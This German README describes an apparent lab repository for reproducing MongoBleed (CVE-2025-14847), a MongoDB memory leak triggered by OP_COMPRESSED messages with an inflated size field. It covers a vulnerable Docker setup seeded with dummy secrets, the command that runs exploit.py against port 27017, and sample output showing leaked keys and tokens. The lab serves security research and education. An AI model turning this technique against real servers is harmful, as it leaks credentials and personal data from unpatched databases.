
MongoBleed (CVE-2025-14847) Labor & PoC: Eine vollständige Bildungsumgebung, um den kritischen nicht authentifizierten Speicherleck in MongoDB zu reproduzieren. Enthält einen verwundbaren Docker-Container mit Multi-Datenbank-Seeding (PII, API-Schlüssel) und einen Python-Exploit, um die Datenextraktion zu demonstrieren. Ideal für Sicherheitsforschung und Sensibilisierung. 1-Tages-Analyse.
Dieses Labor wurde entwickelt, um MongoBleed (CVE-2025-14847), eine kritische Schwachstelle in MongoDB, zu reproduzieren und zu analysieren. Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, vertrauliche Daten aus dem Speicher des Servers auszulesen, aufgrund einer unsachgemäßen Verarbeitung komprimierter Nachrichten.
Die Umgebung enthält eine verwundbare MongoDB-Instanz, die mit Dummy-Sensitiven Daten (PII, API-Schlüssel, Finanzdaten) befüllt ist, um den Schweregrad des Datenlecks zu demonstrieren.
CVE-ID: CVE-2025-14847
Name: MongoBleed
Komponente: Wire Protocol (OP_COMPRESSED)
Verwundbare Versionen: MongoDB 6.0.x < 6.0.27, 7.0.x < 7.0.28, 8.0.x < 8.0.17 (und andere)
URL: Klicken Sie darauf -> NVD CVE-2025-14847
Die Schwachstelle liegt in der Art und Weise, wie MongoDB OP_COMPRESSED-Nachrichten mit dem zlib-Komprimierungsalgorithmus verarbeitet.
uncompressed_size im Header absichtlich auf einen viel größeren Wert als die tatsächliche dekomprimierte Datengröße gesetzt wird.uncompressed_size zu.zlib-Dekompressor schreibt die tatsächliche (kleine) Nutzlast an den Anfang dieses Puffers. Der Rest des Puffers bleibt nicht initialisiert und enthält Restdaten von vorherigen Vorgängen (RAM-Artefakte).Das Labor besteht aus:
admin / secretpassword).init-mongo.js), das 3 verschiedene Datenbanken befüllt, um eine echte Cloud-Infrastruktur-SaaS-Umgebung zu simulieren:
compute_instances: Sensitive Metadaten (User-Data-Skripte, API-Schlüssel).deployment_secrets: Hochwertige Ziele (K8s-Tokens, CI/CD-Schlüssel, Slack-Webhooks).users: Benutzerdaten, Passwort-Hashes (Argon2) und MFA-Backup-Codes (im Klartext durchgesickert).query_logs: Enthält historische Abfragen, einige mit durchgesickerten Anmeldedaten (z. B. AWS-Schlüssel).exploit.py), das den rückentwickelten Protokollangriff implementiert.Starten Sie den verwundbaren Container. Dadurch werden automatisch die Datenbanken erstellt und mit Daten befüllt.
docker-compose up -d
Warten Sie etwa 10-15 Sekunden, bis die Datenbank initialisiert und die Daten geladen hat.
Hinweis: Falls Sie dieses Labor bereits ausgeführt haben, setzen Sie das Volume zurück, um die neueste Datenstruktur zu laden:
docker-compose down -v
docker-compose up -d
Sie können die erforderlichen Abhängigkeiten mit pip entweder über die veraltete requirements.txt oder die moderne pyproject.toml installieren.
Option A: Mit requirements.txt (Standard)
pip install -r requirements.txt
Option B: Mit pyproject.toml (Modern) Dadurch werden das Projekt und seine Abhängigkeiten in der aktuellen Umgebung installiert.
pip install .
Wir haben ein Verifikationsskript bereitgestellt, um sicherzustellen, dass die Datenbank erreichbar und die Daten korrekt befüllt wurden.
python verify_lab.py
Dieses Skript verwendet die Admin-Anmeldedaten, um die Existenz von Datenbanken wie sensitive_db, legacy_crm usw. zu überprüfen.
Führen Sie das Python-Skript aus, um den Server anzugreifen. Für diesen Schritt sind keine Anmeldedaten erforderlich, was den nicht authentifizierten Charakter der Schwachstelle demonstriert.
python exploit.py --host localhost --port 27017 --min 100 --max 5000
Das Skript führt die folgenden Schritte aus:
OP_COMPRESSED-Header mit einer gefälschten, aufgeblähten Größe.Erwartete Ausgabe: Sie sollten eine Ausgabe sehen, die Lecks an verschiedenen Offsets anzeigt, gefolgt von einer Zusammenfassung der erkannten Geheimnisse.
[*] MongoBleed Exploit (Custom Implementation)
[*] Target: localhost:27017
[*] Scanning memory offsets 100 to 5000...
[+] Offset 120 | ... dbmongotesting ... compute_instances ...
[+] Offset 145 | ... field name 'AKIAIOSFODNN7EXAMPLE' is not valid ... [!] FOUND AKIA
[+] Offset 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] FOUND token
[*] Scan completed in 12.45s
[*] Total bytes leaked: 4502
[*] Unique fragments: 156
[*] Secrets Summary:
[!] Found pattern: AKIA
[!] Found pattern: token
[!] Found pattern: password
Um diese Schwachstelle in Produktionsumgebungen zu beheben:
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe die LICENSE-Datei für Details.
Dieses Material dient ausschließlich Ausbildungs- und Forschungszwecken. Verwenden Sie diesen Exploit nicht auf Systemen, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Erlaubnis haben. Der Autor ist nicht verantwortlich für Missbrauch dieser Informationen oder dieses Werkzeugs.
Joseph Meneses (ElJoamy)
Backend- und KI-Entwickler · Cybersicherheitsingenieur · DBA · Penetrationstester